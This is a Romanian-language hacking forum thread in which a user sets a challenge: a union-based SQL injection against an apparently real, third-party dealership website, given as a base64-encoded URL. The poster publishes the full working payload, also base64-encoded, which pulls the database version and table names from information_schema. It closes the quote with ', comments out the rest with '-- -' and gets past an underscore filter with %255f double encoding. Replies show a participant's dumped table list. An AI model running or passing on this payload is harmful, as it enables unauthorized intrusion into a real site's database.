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Renegade

[SQLi] challenge

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Target

aHR0cDovL3d3dy5jaXRyb2VuLXNhaW50bG91aXMuY29tL2ZyL2Rpc3RyaWJ1dGV1ci1jaGF0ZW5ldC9jaGF0ZW5ldF82Nzg=

Base64

Tasks:

  • display version with your name
  • display table names from primary database
  • remove commas after table name (as in picture)

Proof:

sqlichall.png

Rules:

  • use union select based SQLi
  • post picture as proof
  • send me your command to PM

Solvers:

- Hannibal.

- Todo

- ajkaro

- danyweb09

Rezolvare:

aceasta este syntaxa mea

aHR0cDovL3d3dy5jaXRyb2VuLXNhaW50bG91aXMuY29tL2ZyL2Rpc3RyaWJ1dGV1ci1jaGF0ZW5ldC9jaGF0ZW5ldF82NzgnIGFuZCBmYWxzZSBVTklPTiBTRUxFQ1QgMSwyLDMsNCwweDUyNjU2ZTY1Njc2MTY0NjUsdmVyc2lvbigpLDcsOCxjb25jYXQocmVwbGFjZShncm91cCUyNTVmY29uY2F0KHRhYmxlJTI1NWZuYW1lLDB4M2M2MjcyM2UpLCcsJywnJykpLDEwLDExLDEyLDEzLDE0LDE1LDE2LDE3LDE4LDE5LDIwLDIxLDIyLDIzIGZyb20gaW5mb3JtYXRpb24lMjU1ZnNjaGVtYS50YWJsZXMgd2hlcmUgdGFibGUlMjU1ZnNjaGVtYT1kYXRhYmFzZSgpLS0gLQ==

Base64

  • pentru injectie am folosit '
  • pentru comentara ei am folosit -- -
  • pentru bypass la _ am folosit %255f,adica:
    _ si il treceti in hex,astfel devine %5f iar apoi %5f in urlencode
  • pentru inlocuirea virgulei de dupa tabele eu am folosit "replace"

challenge closed

Edited by Renegade
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Am ajuns pana la tabele...ma poate ajuta cineva cu ele? Am incercat diferite "chestii" dar nu am reusit. Vreau sa ma ajutati pentru incultura mea generala ;)) nu pentru CH.

Astept un PM va rog. Multumesc.

voi posta rezolvarea la final.mai incearca,nu te da batut.bafta

utilizeaza cu incredere cursurile academiei

http://pentesting-academy.com/MySQLiacademy/lv1.php?id=1

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Asta am facut insa mai trb sa elimin " , " si

CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS

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